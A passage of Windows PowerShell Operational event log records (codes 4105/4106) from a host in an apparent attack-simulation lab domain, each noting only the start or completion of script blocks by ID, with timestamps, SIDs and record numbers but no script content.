Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023338
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023337
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023336
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023335
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023354
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023353
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023352
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023351
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023350
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023349
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023348
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023347
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023346
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023345
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023364
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023363
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023362
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023361
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023360
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023359
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023358
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023357
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023356
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023355
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023374
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023373
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023372
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023371
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023370
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023369
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023368
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023367
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023366
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023365
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023384
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023383
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023382
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023381
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023380
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023379
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023378
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023377
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023376
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023375
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023394
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023393
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023392
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023391
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023390
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023389
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023388
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023387
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023386
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
